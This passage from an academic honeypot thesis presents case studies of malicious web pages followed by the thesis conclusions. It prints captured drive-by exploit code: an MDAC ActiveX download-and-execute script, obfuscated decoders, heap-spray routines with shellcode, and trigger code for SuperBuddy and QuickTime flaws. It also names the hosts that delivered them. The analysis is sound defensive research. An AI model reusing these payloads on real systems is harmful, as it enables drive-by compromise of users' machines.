212.36.74.150. Figure 6.5 shows a screenshot of P , which was captured by the

honeypot when the URL of P was processed. From Figure 6.5, we can see that P

is a simple Web page that has an embedded video. The embedded video looks like

the videos that we usually see on video sharing Web sites such as YouTube. After

looking at the source code of P , we found that the video is not a real video. What

seems to be a video is an image called movie.gif, which is embedded in P using

the img element. The image is used as a hyperlink that points to an executable file

called view.exe, which is hosted on the same Web server.

Although P seems like a Web page that uses social engineering techniques to

trick users into downloading the malicious executable (view.exe) to view the video,

P successfully infected one of the virtual machines in the honeypot via a Web-based

exploit. We found that the exploit is delivered using an iframe element that is used

in the index page of P as follows:

<iframe src="00.html" style="display:none"></iframe>

The src attribute of the iframe element points to an HTML file called 00.html,

which is hosted on the same Web server. The HTML file contains an exploit written

in JavaScript that targets a vulnerability in the RDS.DataSpace ActiveX control [53].

Successful exploitation of the vulnerability allows the attacker to execute arbitrary

code.

The Web-based exploit delivered by P was automatically collected by the hon-

eypot. The exploit (shown in Figure 6.6) first instantiates the RDS.DataSpace
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<script language="javascript">

FUNC1();

function FUNC1() {

var VAR1 = document.createElement("object");

VAR1.setAttribute("id","VAR1");

VAR1.setAttribute("classid",

"clsid:bd96c556-65a3-"+"11d0-983a-00c04fc29e36");

try {

var VAR2 = VAR1.CreateObject("msxml2.xmlhttp", "");

var VAR3 = VAR1.CreateObject("shell.application","");

var VAR4 = VAR1.CreateObject("adodb.stream", "");

try {

VAR4.type = 1;

var host = window.location.hostname;

var path = window.location.pathname;

var path1 = path.replace(/00.html/,"view.exe");

var url = "http://"+host+path1;

VAR2.open("GET", url , false);

VAR2.send();

VAR4.open();

VAR4.Write(VAR2.responseBody);

var VAR5 =".//..//Xdhbv645gvd.exe";

eval(VAR4.savetofile(VAR5, 2));

VAR4.Close();

...

eval(VAR3.shellexecute(VAR5));

...

</script>

Figure 6.6: Web-based exploit delivered by a malicious Web page
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ActiveX control and then uses the instantiated control to create three objects:

MSXML2.XMLHTTP, ADODB.Stream, and Shell.Application. The MSXML2.XMLHTTP

object retrieves the malicious executable (view.exe) from the Web server via HTTP,

and stores the content of the malicious executable in the responseBody property of

the MSXML2.XMLHTTP object. The ADODB.Stream object writes the executable’s con-

tent to a new file called view.exe, which gets stored in Internet Explorer’s local

cache. The ADODB.Stream object then saves the content of view.exe to a new file

called Xdhbv645gvd.exe, which gets stored in the user’s home directory. Finally, the

Shell.Application object executes Xdhbv645gvd.exe. When Xdhbv645gvd.exe

was executed, Xdhbv645gvd.exe copied itself to the Windows system folder and

renamed itself CbEvtSvc.exe.

6.3.2 Case Study 2

Figure 6.7: Screenshot of http://flashvide0.com/
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In this section, we present an analysis of a malicious Web page P hosted on a

Web server in the United States. P has the URL http://flashvide0.com/ and the

IP address 67.210.98.35. Figure 6.7 shows a screenshot of P , which shows that

P does not seem to have much content. When the honeypot processed the URL of

P , P successfully compromised one of the virtual machines in the honeypot via a

Web-based exploit.

The Web-based exploit delivered by P targets the same vulnerability described

in the previous case study. The primary difference between the exploit in this case

study and the previous case study is that the exploit has been obfuscated by the

attackers. Figure 6.8 shows a small portion of the exploit, which is passed as an

encoded string into a function called dF that decodes the string. The function dF is

embedded in P in an obfuscated form as shown in Figure 6.9.

dF(’%264Dtdsjqu%2631uzqf%264E%2633ufyu0kbwbtdsjqu%2633%2631mbohvbhf

%264E%2633kbwbtdsjqu%2633%264F%261B%261B%261Bwbs%2631jtt%2631%264E%

2631gbmtf%264C%261Bwbs%2631vsj%2631%264E%2631%2638iuuq%264B00xxx/j%

7Bnjs.iptujoh/ofu0tztufn3/fyf%2638%264C%261B%261Bwbs%2631%7Bb%2631%

264E%2631%2638ujoh/GjmfT%2638%264C%261Bwbs%2631%7B%2631%264E%2631%2

638qmjdbujpo%2638%264C%261Bwbs%2631tifmmbqq%2631%264E%2631%2638Tifm

...

Figure 6.8: Obfuscated Web-based exploit

To reveal the exploit’s code, we first de-obfuscated the function dF. De-obfuscation

is the process of restoring obfuscated code to its original form. We replaced document.write

in Figure 6.9 with print and used SpiderMonkey to interpret the code. After inter-

preting the code, we were able to reveal the code of dF, which is shown in Figure
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6.10. After we revealed the code of dF, we were able to de-obfuscate the Web-based

exploit delivered by P . We first replaced document.write in dF with print and

then passed the encoded string to dF, which decoded and printed the exploit’s code.

Although we were able to de-obfuscate the exploit’s code using simple tricks, we

found that the revealed code uses additional obfuscation techniques such as string

splitting, character encoding, and nested function calls to make it difficult to under-

stand the code. Figure 6.11 shows some of these techniques.

document.write(unescape(’%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61

%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69

%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61

%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68

%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30

%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74

%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63

%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28

%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E

%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D

%3C%2F%73%63%72%69%70%74%3E’));

Figure 6.9: Obfuscated exploit decoder embedded in a malicious Web page

As mentioned before, the exploit delivered by P targets the same vulnerability

that we described in the previous case study, but with a slight variation in the objects

being used. The exploit instantiates the RDS.DataSpace ActiveX control and then

uses the instantiated control to create three objects: Microsoft.XMLHTTP (which is

similar to the MSXML2.XMLHTTP object), ADODB.Stream, and WScript.Shell. The

WScript.Shell object is similar to the Shell.Application object, which can be

used to execute programs. We found that the exploit downloaded and executed a
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<script language="javascript">

function dF(s){

var s1=unescape(s.substr(0,s.length-1));

var t=’’;

for(i=0;i<s1.length;i++)

t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));

document.write(unescape(t));}

</script>

Figure 6.10: De-obfuscation of the decoder in Figure 6.9

malicious executable called system2.exe from a different Web server, which has the

URL http://www.izmir-hosting.net/. The malicious executable copied itself to

the Windows temp folder and renamed itself 37zWSzOR.exe. When 37zWSzOR.exe

was executed, a different malicious executable called system2.exe was created in

the Windows temp folder, and executed by 37zWSzOR.exe.

6.3.3 Case Study 3

In this section, we present an analysis of a malicious Web page P that has the

URL http://loctenv.com/. P is hosted on a Web server at an unknown location,

since the Web server is protected by a fast flux network. Table 6.6 shows the list

of IP addresses of the compromised computers in the fast flux network, which were

retrieved from the DNS address records when the honeypot processed the URL of

P . Table 6.6 also shows the geographic locations of the compromised computers in

the fast flux network.

From Figure 6.12, we can see that P seems like a Web page that has no con-

tent. However, P compromised one of the virtual machines in the honeypot via a
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var z04 = "r%20%3D%20o.GetOb’+’ject%28%’+’22%22%2C%20n%29";

...

var s = new Array

(

...

"object",

"classid",

f("0C0", g(f(g("3-11D0-9", "56-65A"), "id:BD96C5", "83A-0"), "cls"),

g("9E36", "4FC2")),

g(f("ft.XMLH", "oso", "TTP"), "Micr"),

f("E", "G", "T"),

f(g(".Str", "odb"), "Ad", "eam"),

f(g(".She", "ipt"), "WScr", "ll"),

"PROCESS",

"TMP",

"/[^/]*$",

"/",

"\\"

);

...

Figure 6.11: Various obfuscation techniques used in a Web-based exploit
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Figure 6.12: Screenshot of http://loctenv.com/

Table 6.6: Fast flux network used to protect a Web server hosting a malicious Web
page

IP Address Geographic Location

98.200.173.xxx United States
99.227.116.xxx Canada
99.240.105.xxx Canada
118.109.69.xxx Japan
200.73.29.xxx Colombia
24.92.45.xxx United States
24.183.187.xxx United States
68.206.144.xxx United States
68.207.114.xxx United States
76.117.59.xxx United States
89.156.86.xxx France
93.156.2.xxx Spain
98.194.49.xxx United States
98.197.49.xxx United States
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Web-based exploit, which downloaded a malicious software called 1xqzvc.exe. The

exploit is delivered using a script element in the index page of P as follows:

<script src="b.js" type="text/javascript"

language="JavaScript"></script>

The src attribute of the script element points to a JavaScript file called b.js, which

is hosted on the same Web server. The JavaScript code first checks the language of

the operating system used by the user who visits the Web page. This is achieved

using the navigator.userLanguage property, which is accessible via JavaScript. If

the language of the operating system is Chinese, Urdu, Russian, Korean, Hindi,

Thai, or Vietnamese, then P does nothing. Otherwise, P creates a cookie on the

user’s computer and embeds the following iframe element:

<iframe src=http://destbnp.com/cgi-bin/index.cgi?ad width=0 height=0

frameborder=0></iframe>

The cookie seems to be used to track users who visit the Web page. The URL in

the src attribute of the iframe element points to a Web page that contains HTML

and JavaScript code. When the Web page is loaded, an encoded string S1 is passed

to a function (decoder) called U8be6GSDM, which is stored in the same page. The

CGI file in the URL in the iframe element and the randomness of the variables

in the decoder suggest that the attackers use Neosploit. Neosploit is a Web-based

exploit toolkit written by a Russian group, which makes it easier for attackers to

compromise computers without having prior knowledge of Web-based exploitation

techniques.
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A portion of the decoder is shown in Figure 6.13. We can observe that the decoder

uses the values stored in the arguments.callee and location.href properties as

seeds to make it difficult to de-obfuscate S1 outside its original execution context.

The arguments.callee property points to the currently executing function and

the location.href property points to the URL of the currently displayed Web

page. If any character in the decoder is modified, the function pointed to by the

arguments.callee property will be different and the decoding process will fail. In

addition, the location.href property is available only when the decoder executes

in a Web browser, and the value in the property must point to the URL of the Web

page that embeds the decoder.

function U8be6GSDM(VDmVUlM1A, HOp4G1LsU) {

var bpu17WlCm = eval;

var Wr8Dc5GRW = arguments.callee;

var h5WWxPlk5 = location.href;

Wr8Dc5GRW = Wr8Dc5GRW.toString();

Wr8Dc5GRW = Wr8Dc5GRW + h5WWxPlk5;

var gfBUB58Da = Wr8Dc5GRW.replace(/\W/g, "");

gfBUB58Da = gfBUB58Da.toUpperCase();

var RTCdL5hUI = 4294967296;

var OnA7L58i8 = new Array;

for(var Jc1igo565 = 0; Jc1igo565 < 256; Jc1igo565++) {

OnA7L58i8[Jc1igo565] = 0;

}

...

Figure 6.13: Decoder that utilizes several tricks to make it difficult to decode the
exploit manually

Since we cannot alter the decoder’s code (e.g., changing eval to print or replac-

ing location.href with the Web page’s URL), we created a function called setup to
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help de-obfuscate S1 using SpiderMonkey. In setup, we created a location object

that contains a property called href that points to the following URL:

http://destbnp.com/cgi-bin/index.cgi?ad,

which is the URL of the Web page that embeds the decoder. When the decoder tries

to retrieve the value of location.href, the decoder will retrieve the value in the

location.href property that we manually created. In setup, we also hooked the

eval function to point to a function that first prints the expression passed to eval

and then passes the expression to the original eval to evaluate it.

Using the setup function and SpiderMonkey, we were able to de-obfuscate S1 and

reveal its original JavaScript code. In S1’s code, we found several checks that fin-

gerprint the operating system’s patch level using the navigator.appMinorVersion

property and the system’s language using the navigator.systemLanguage property.

Based on the operating system’s patch level and language, a variable V is set to a

specific value. The code eventually generates a script element. The URL in the

src attribute of the script contains the value of V , which is passed as a parameter

in the URL.

The script pointed to by the URL in the src attribute of the script element

was collected by the honeypot. We found that the script contains a decoder called

DT7Ssm18x, and a function call to DT7Ssm18x that passes an encoded string S2. The

decoder is identical to the one used to decode S1. The only differences are the names

of the function and variables, which all seem to be randomly generated. We used

the setup function and SpiderMonkey to de-obfuscate S2 using the same techniques

we used to de-obfuscate S1.
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After de-obfuscating S2, we revealed the exploit’s code and found that the exploit

contains code to exploit three vulnerabilities: a vulnerability in the RDS.DataSpace

ActiveX control, a vulnerability in AOL’s SuperBuddy ActiveX control [56], and a

vulnerability in Apple’s QuickTime ActiveX control [57].

The SuperBuddy and QuickTime ActiveX controls are exploited using a technique

known as heap spraying. Heap spraying is a common technique that is used to

exploit browser vulnerabilities. When a browser vulnerability is triggered and the

eip register is set to an invalid memory address in Internet Explorer’s heap then the

invalid memory address can be turned into a valid address via heap spraying.

Every process in Windows has one standard heap known as the process heap,

which is allocated by the operating system when a process is created. Retrieving

a handle to the process heap in user-mode is achieved via the GetProcessHeap

function, which is exported by kernel32.dll. In addition to having the standard

heap, processes can allocate their own private heaps. Allocating a private heap in

user-mode can be achieved via the HeapCreate function.

The JavaScript engine in Internet Explorer is implemented as a dynamic link

library called jscript.dll. The JavaScript engine has its own private heap, which

is used to allocate memory for objects created in JavaScript with the exception of

strings [72]. Strings created in JavaScript are allocated from Internet Explorer’s

standard heap. Various components in Internet Explorer use the standard heap

for performing various operations. The ability to access and manipulate Internet

Explorer’s standard heap via JavaScript makes heap spraying an effective technique

for exploiting browser vulnerabilities.

The idea behind heap spraying is to allocate enough chunks from Internet Ex-



108

plorer’s standard heap until an invalid memory address becomes a valid memory

address. Each heap chunk contains a sequence of NOP instructions and shellcode.

The sequence of NOP instructions is commonly referred to as a nopslide. The nop-

slide contains a sequence of machine code instructions that do not perform anything

useful (e.g., xchg eax, eax). The shellcode is stored at the end of each chunk, and

the nopslide fills the area between the beginning of the chunk up to the shellcode.

When the eip register is set to an address in the heap that contains the NOP in-

structions, the instructions are executed until the shellcode is eventually reached

and executed. Figure 6.14 shows the function in the exploit that sprays the heap

with a nopslide and shellcode via JavaScript.

The vulnerability in the SuperBuddy ActiveX control is in a method called

LinkSBIcons. The LinkSBIcons method accepts a user-supplied pointer without

performing appropriate checks on the passed pointer. Figure 6.15 shows how the

exploit triggers the vulnerability. Before the vulnerability is triggered, the heap is

sprayed with enough chunks to make the address passed to the LinkSBIcons method

valid. When the vulnerability is triggered, execution is transferred to the heap and

the shellcode eventually executes.

The vulnerability in the Quicktime ActiveX control is in the handling of RTSP

(Real Time Streaming Protocol) URLs specified in the value attribute when the

control is instantiated. The specified URL is read into a buffer of a fixed size on the

stack without performing appropriate checks on the size of the specified URL, which

can lead to a buffer overflow. Figure 6.16 shows how the Web-based exploit overflows

the buffer and overwrites critical data on the stack with 0x0c0c0c0c, which causes

execution to transfer to the heap and the shellcode eventually executes.
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var FWYs9wDm = new Array();

...

function zTfOCfoV()

{

if (!wK6QTq5Y) {

var lMkfZYfa = 0x0c0c0c0c;

var zLpAXB4b =

unescape("%u00e8%u0000%u5d00%uc583%ub914%u018e%u0000

%u48b0%u4530%u4500%u7549%uebf9%ud800%ud8d8%ud8d8%ud8d8

%ua1d8%u48b4%u4848%u2c17%u78e9%u4848%u3048%uc344%u4408

%u38c3%ue554%u20c3%ua340%uc341%u7c08%u08c5%uc334%u7420

%ubfc3%u4c22%ua011%u48c7%u4848%ub1aa%u2720%u4826%u2048

%u3a3d%u2524%ub71c%uc35e%ua0a0%u4831%u4848%u9fc3%uc80f

%u4877%ub23d%u1f0f%uc80f%u4877%ub23d%ua7c3%u7b17%uc981

...

%u7871%u7878%u7878%u7878%u7878%u7870%u0048");

var hWVAoPMa = 0x400000;

var XzUyOXxW = zLpAXB4b.length * 2;

var Y3dnKNZv = hWVAoPMa - (XzUyOXxW+0x38);

var wmHhOYdx = unescape("%u0c0c%u0c0c");

wmHhOYdx = l6N5brRk(wmHhOYdx,Y3dnKNZv);

var Zx3oXL1Z = (lMkfZYfa - 0x400000)/hWVAoPMa;

for (var gI7kWWNI=0;gI7kWWNI<Zx3oXL1Z;gI7kWWNI++) {

FWYs9wDm[gI7kWWNI] = wmHhOYdx + zLpAXB4b;

}

...

Figure 6.14: Heap spraying used in a Web-based exploit

var HtvXq88s = new ActiveXObject(’Sb.SuperBuddy’);

...

HtvXq88s.LinkSBIcons(0x0c0c0c0c);

Figure 6.15: Triggering a vulnerability AOL’s SuperBuddy ActiveX control
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var wBvKQj0a = new ActiveXObject("QuickTime.QuickTime.4");

...

var xALqaRFn = "";

for(var fxMVIXfh=0;fxMVIXfh<200;fxMVIXfh++) {

xALqaRFn += "AAAA";

}

xALqaRFn += "AAA";

for(var fxMVIXfh=0;fxMVIXfh<3;fxMVIXfh++) {

xALqaRFn += "\x0c\x0c\x0c\x0c";

}

var jV7NCbdj =

’<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"

width="200" height="200">’ +

...

’<param name="qtnext1" value="<rtsp://AXDOF:’ + xALqaRFn

+ ’>T<myself>">’ +

’<param name="target" value="myself">’ +

’</object>’;

Figure 6.16: Triggering a vulnerability in Apple’s QuickTime ActiveX control
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6.3.4 Case Study 4

Figure 6.17: Screenshot of http://banners.rbscorp.ru/ in March 2008

In this section, we present an analysis of a malicious Web page P hosted on a Web

server in Russia. P has the URL http://banners.rbscorp.ru/ and the IP address

89.188.96.190. The URL of P was extracted from one of the network traces. P

was the first malicious Web page that compromised one of the virtual machines in

the honeypot while the honeypot was being tested in March 2008.

We visited P several times, since P employed unique characteristics. Figure 6.17

shows a screenshot of P , which was captured in March 2008. The Web page contains

many hyperlinks, which are all pointing to a compromised Web page at MIT. We

found that the links are changed every few days to point to a different compromised

Web page at a different location. By observing the hyperlinks collected by the
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honeypot, we identified compromises at Michigan State University, University of

Maryland, Carnegie Mellon University, and a government Web site. Figure 6.18

shows a subset of URLs pointing to a compromised account at the University of

Maryland (the account of the user in the URL has been changed to x). We found

that the URLs in Figure 6.18 redirect to a spamming Web page, which has the URL

http://interpill.com.

As mentioned earlier, we used the honeypot to visit P more than once and col-

lected several exploits from P . We observed that P employs a mechanism for track-

ing infections. When we visited P using the same IP address of the virtual machine

that was infected in the past by a Web-based exploit delivered by P , P delivered

non-malicious content to avoid re-infecting the virtual machine. We also observed

that the exploits delivered by P are not always the same. The exploits are changed

every few days. One of the Web-based exploits that we collected from P targets

multiple vulnerabilities as shown in Figure 6.19. The targeted vulnerabilities are in

several ActiveX controls: RDS.DataSpace [53], SuperBuddy [56], DirectAnimation

[55], ImageUploader [59], and HanGamePluginCn18 [58]. The exploit also contains

code that targets a vulnerability in msdds.dll [52] (Microsoft DDS Library Shape

Control).

All the vulnerabilities with the exception of the RDS.DataSpace vulnerability

are exploited using a variation of the heap spraying technique that we described in

the previous case study. The technique used by the attackers controls the state of

the heap, which results in a more reliable exploitation. This improved technique

was proposed by Sotirov in [72]. Sotirov released a JavaScript library in 2007 called

HeapLib.js, which the attackers seemingly used to exploit vulnerabilities more reli-



113

ably. Figure 6.20 shows the function that sprays the heap.

The last time we visited P , P delivered an exploit that downloaded three unique

malicious executables: load.exe, ie updater.exe, and 30i1dr.exe. The malicious

executable 30ildr.exe downloaded a rootkit called SUebcg that hooked several na-

tive APIs exported by ntoskrnl.exe. These native APIs are: NtEnumerateValueKey,

NtQueryDirectoryFile, NTQuerySystemInformation, and NtTerminateProcess.

NtEnumerateValueKey is hooked to hide the values of certain keys in the Win-

dows registery, NtQueryDirectoryFile is hooked to hide certain files in the file

system, NtQuerySystemInformation is hooked to hide certain processes, and finally

NtTerminateProcess is hooked to prevent the termination of certain processes.

http://www.ece.umd.edu/~x/viagra/online-viagra-gel.html

http://www.ece.umd.edu/~x/viagra/buying-viagra-gel.html

http://www.ece.umd.edu/~x/viagra/order-viagra-gel.html

http://www.ece.umd.edu/~x/viagra/generic-viagra-50-mg.html

http://www.ece.umd.edu/~x/viagra/online-viagra-cheapest.html

http://www.ece.umd.edu/~x/viagra/viagra-soft-tabs-100-mg.html

http://www.ece.umd.edu/~x/viagra/cheap-viagra-50-mg.html

http://www.ece.umd.edu/~x/viagra/cheap-viagra-buy.html

http://www.ece.umd.edu/~x/viagra/canada-pharmacy-viagra-pfizer.html

...

Figure 6.18: URLs found in a malicious Web page that point to a compromised Web
page at the University of Maryland.
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if(s==-8){

try{

obj = cobj("{EC"+"444CB6-3E7E-4865-B1C3-0DE72EF39B3F}");

if(obj){

ms("?xpl=com");

...

if(s==-7){

try{

obj=cobj("Dire"+"ctAnimation.PathControl");

if(obj){

ms("?xpl=vml2");

...

if(s==-6){

try{

obj=cobj("Sb.S"+"uperBuddy.1");

if(obj){

ms("?xpl=buddy");

...

if(s==-5){

try{

obj=cobj("{48DD04"+"48-9209-4F81-9F6D-D83562940134}");

if(obj){

ms("?xpl=myspace");

...

if(s==-4){

try{

obj=cobj("HanGam"+"ePluginCn18.HanGamePluginCn18.1");

if(obj){

ms("?xpl=hangame");

...

Figure 6.19: Web-based exploit targeting multiple vulnerabilities
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function gss(ss,sss){

while(ss.length*2<sss)ss+=ss;

ss=ss.substring(0,sss/2);

return ss;

}

...

function ms(spl){

var plc=unes(

"\x43\x43\x43\x43\x43\x43\xEB\x0F\x5B\x33\xC9\x66\xB9\x80\x01\x80"+

"\x33\xEF\x43\xE2\xFA\xEB\x05\xE8\xEC\xFF\xFF\xFF\x7F\x8B\x4E\xDF"+

"\xEF\xEF\xEF\x64\xAF\xE3\x64\x9F\xF3\x42\x64\x9F\xE7\x6E\x03\xEF"+

...

"\x1C\xB9\x64\x99\xCF\xEC\x1C\xDC\x26\xA6\xAE\x42\xEC\x2C\xB9\xDC"+

"\x19\xE0\x51\xFF\xD5\x1D\x9B\xE7\x2E\x21\xE2\xEC\x1D\xAF\x04\x1E"+

"\xD4\x11\xB1\x9A\x0A\xB5\x64\x04\x64\xB5\xCB\xEC\x32\x89\x64\xE3"+

"\xA4\x64\xB5\xF3\xEC\x32\x64\xEB\x64\xEC\x2A\xB1\xB2\x2D\xE7\xEF"+

"\x07\x1B\x11\x10\x10\xBA\xBD\xA3\xA2\xA0\xA1\xEF"+url+xpl);

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);

var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;

if (mf){

for (i=0;i<hb;i++)delete m[i];

CollectGarbage();

}

for(i=0;i<hb;i++)m[i]=ss+plc;

...

Figure 6.20: Variation of the heap spraying technique used in a Web-based exploit
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6.4 Summary

This chapter presented our results after visiting 33,811 Web pages. This chapter

also presented several case studies to provide insights about Web-based exploits and

malware, malicious Web pages, and the various techniques used by attackers to

deliver and obfuscate the exploits. Section 6.1 described the three data sets that

were used to seed the honeypot with URLs. Section 6.2 discussed our results based

on the data collected by the honeypot. Case studies of four malicous Web pages were

presented in Section 6.3. In the next chapter, we conclude this thesis by summarizing

our results and presenting directions for future work.



Chapter 7

Conclusions and Future Work

7.1 Thesis Summary

This thesis presented a comprehensive description of a high-interaction client-side

honeypot, which we used to visit 33,811 Web pages. The motivation for undertaking

this research and the main contributions of this thesis were presented in Chapter

1. Chapter 2 presented relevant background information and an overview of related

work. An overview of the honeypot’s architecture and the notion of the analysis

graph were presented in Chapter 3. Chapter 4 presented our detection approach,

which can effectively detect when a malicious Web page delivers a Web-based exploit.

A detailed description of the honeypot’s components and the algorithms used by

each component were presented in Chapter 5. Chapter 6 described how we tested

the honeypot, and presented an analysis of the collected data after visiting 33,811

Web pages. Chapter 6 also presented several case studies to demonstrate a variety

of techniques used by attackers to compromise the computers of unsuspecting users

via Web-based exploits.

7.2 Results Summary

The honeypot described in this thesis was effective in identifying malicious Web

pages compared to related work, and collecting various types of data about such

117
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Web pages. To conclude this thesis, we summarize what we learned as follows:

• We processed URLs from three different data sets and found that the density

of malicious Web pages varies based on how the processed URLs are collected.

The lowest density of malicious Web pages (0.28%) was found in the first data

set, which contains URLs collected from two network traces of HTTP activity

at the University of Calgary. The highest density of malicious Web pages

(4.47%) was in the second data set, which contains URLs collected from a Web

site [41] that posts suspicious domain names.

• The iframe and script elements are common techniques used by attackers to

deliver Web-based exploits. However, the iframe and script elements are not

exclusively used by malicious Web pages. We found a total of 6,806 iframe

elements in all the Web pages that we visited. 95.72% of these elements were

found in legitimate Web pages. We also found a total of 33,866 script elements

in all Web pages. 99.57% of these elements were found in legitimate Web pages.

• To increase the probability of infecting a computer with malware, some mali-

cious Web pages deliver Web-based exploits that target multiple vulnerabilities.

We observed that attackers create crafted files to exploit some browser vulner-

abilities. For example, 44% of the malicious Web pages used crafted ANI files,

42.46% used crafted PDF files, 9.54% used crafted WMF files, and 0.92% used

crafted ANR files. We also observed that most malicious Web pages download

more than one malware.

• The vulnerability in the RDS.DataSpace ActiveX control, which is commonly
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referred to as the MDAC vulnerability, is the most common vulnerability ex-

ploited by malicious Web pages. The simplicity and effectiveness of the exploit

makes it the attackers’ favourite.

• To increase the lifespan of Web servers hosting malicious Web pages, we found

that some of the Web servers hosting malicious Web pages are protected by

fast flux networks. Although the percentage of malicious Web pages that we

found hosted on Web severs protected by fast flux networks is low (1.54%), we

believe that the percentage is likely to increase in the future.

• 35.08% of the malicious Web pages created cookie files, which we believe are

used to track infections. We observed that some of the malicious Web pages do

not deliver a Web-based exploit to a computer that has already been infected.

• The majority of the Web-based exploits that we collected are obfuscated. Al-

though some of the obfuscation techniques used by the attackers can be eas-

ily de-obfuscated, we found that attackers use clever tricks to make it more

difficult to de-obfuscate the exploits (e.g., using the arguments.callee and

location.href properties). We believe that the obfuscation techniques used

by the attackers are likely to become more sophisticated in the future.

• Malicious Web pages look similar to legitimate Web pages. Although some of

the malicious Web pages do not have much content, we found that it is almost

impossible to distinguish between a malicious Web page and a non-malicious

Web page by simply looking at the Web page.

• The overall density of malicious Web pages after visiting 33,811 Web pages is
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0.96%. Although the density is low, we can conclude that malicious Web pages

do pose risks to users. In fact, the URL of the most sophisticated malicious

Web page that we processed was collected from one of the network traces.

7.3 Future Work

There are several areas for future work:

Automated Extraction and Decoding of Web-based Exploits

The honeypot collected a variety of Web-based exploits. The exploits rely on client-

scripting languages such as JavaScript and VBScript to trigger the vulnerabilities and

perform the exploitation. These exploits are mostly embedded in HTML files, which

also contain non-malicious content. The ability to automatically extract scripts from

HTML files can be a useful technique for cleansing the collected data. Additionally,

decoding these exploits automatically can make the analysis of such exploits easier.

Automated Analysis of Malware

The honeypot collected over 1000 malicious executables after visiting 33,811 Web

pages. Analyzing these executables manually in a short period of time is infeasible.

Thus, building a system that can automatically analyze malware is desirable. Such

a system can quickly give us an idea about the malware’s behavior. For example,

who does the malware contact, does the malware download additional programs,

how does it change the system, etc.
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User Studies

Several user studies have been conducted to check if users can distinguish between

phishing Web pages and legitimate Web pages (e.g., [3, 21, 33, 84]). Similar studies

can be conducted to check if users can distinguish between malicious Web pages and

non-malicious Web pages. These user studies can help us understand if users are

aware of the existence of malicious Web pages, and how such Web pages can trick

even experienced users.

Hybrid Honeypots

Processing URLs using a high-interaction honeypot is slow compared to the speed

of a low-interaction honeypot. Each level of interaction has its advantages and dis-

advantages. However, we believe that creating a hybrid honeypot that combines a

low-interaction honeypot with a high-interaction honeypot can help process URLs

at a reasonable speed. For example, a low-interaction honeypot can crawl the Web

and check for Web pages that seem malicious using some heuristics (e.g., obfus-

cated JavaScript). When a low-interaction honeypot finds such Web pages, the low-

interaction honeypot can send the URL to the high-interaction honeypot to visit

the Web page. Although a hybrid approach can increase the processing speed, such

an approach might miss Web pages that deliver different content based on the Web

client retrieving the page.

Using Different Operating Systems, Web Browsers, or Geographic Loca-

tions

The operating system that we used in the virtual machines is Windows XP SP2 and

the Web browser that we controlled is Internet Explorer version 6.0. We conducted
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our experiments using IP addresses located in Canada. Using a different operating

system, Web browser, or an IP address located in a different country might give us

completely different results. It would be interesting to see how the results would be

different.

Classification of Web pages using Machine Learning Algorithms

Machine learning algorithms have been used to classify legitimate email messages

and Web pages into one of two categories: spam or non-spam. The same algorithms

might be capable of classifying Web pages into one of two categories: malicious or

non-malicious. A classifier can first be taught what malicious and non-malicious Web

pages look like. The classifier can then be used to classify Web pages. Building a

classifier that can classify Web pages based on maliciousness is a direction that can

lead to better countermeasure strategies against malicious Web pages.
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Appendix A

Example of a generated XML file

This section shows an example of an XML file that was automatically generated by

the detection module (described in Chapter 4) after visiting a malicious Web page.

<?xml version="1.0" ?>

<report>

<entry>

<timestamp>16.7.2008 21:22:29:000019</timestamp>

<type>File</type>

<process_id>2672</process_id>

<process_image>

C:\Program Files\Internet Explorer\IEXPLORE.EXE

</process_image>

<parent_id>836</parent_id>

<parent_image>

C:\WINDOWS\system32\svchost.exe

</parent_image>

<path>

C:\Documents and Settings\pc owner\Local Settings\

Temporary Internet Files\Content.IE5\HBVJV42D\mdfc[1]

</path>
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</entry>

<entry>

<timestamp>16.7.2008 21:22:29:000535</timestamp>

<type>File</type>

<process_id>2672</process_id>

<process_image>

C:\Program Files\Internet Explorer\IEXPLORE.EXE

</process_image>

<parent_id>836</parent_id>

<parent_image>

C:\WINDOWS\system32\svchost.exe

</parent_image>

<path>

C:\Documents and Settings\pc owner\Local Settings\

Temporary Internet Files\Content.IE5\UEWMZO6X\035[1].htm

</path>

</entry>

<entry>

<timestamp>16.7.2008 21:22:30:000894</timestamp>

<type>File</type>

<process_id>2672</process_id>

<process_image>

C:\Program Files\Internet Explorer\IEXPLORE.EXE

</process_image>
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<parent_id>836</parent_id>

<parent_image>

C:\WINDOWS\system32\svchost.exe

</parent_image>

<path>

C:\Documents and Settings\pc owner\Local Settings\

Temporary Internet Files\Content.IE5\0LQVOTMR\CAQLU7G9.HTM

</path>

</entry>

<entry>

<timestamp>16.7.2008 21:22:31:000128</timestamp>

<type>File</type>

<process_id>2672</process_id>

<process_image>

C:\Program Files\Internet Explorer\IEXPLORE.EXE

</process_image>

<parent_id>836</parent_id>

<parent_image>

C:\WINDOWS\system32\svchost.exe

</parent_image>

<path>

C:\Documents and Settings\pc owner\Local Settings\

Temporary Internet Files\Content.IE5\BUKKWTLB\win32[1].exe

</path>
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</entry>

<entry>

<timestamp>16.7.2008 21:22:31:000816</timestamp>

<type>File</type>

<process_id>2672</process_id>

<process_image>

C:\Program Files\Internet Explorer\IEXPLORE.EXE

</process_image>

<parent_id>836</parent_id>

<parent_image>

C:\WINDOWS\system32\svchost.exe

</parent_image>

<path>

C:\syszgon.exe

</path>

</entry>

<entry>

<timestamp>16.7.2008 21:22:32:000019</timestamp>

<type>Process</type>

<process_id>2672</process_id>

<process_image>

C:\Program Files\Internet Explorer\IEXPLORE.EXE

</process_image>

